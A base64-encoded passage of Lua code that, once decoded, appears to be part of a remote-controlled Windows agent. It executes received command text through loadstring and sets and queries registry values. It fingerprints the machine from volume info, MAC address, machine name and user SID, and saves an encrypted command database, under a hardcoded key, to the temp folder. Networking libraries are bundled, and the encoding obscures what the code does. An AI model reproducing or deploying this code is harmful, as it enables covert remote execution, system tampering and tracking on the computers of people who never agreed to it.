VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
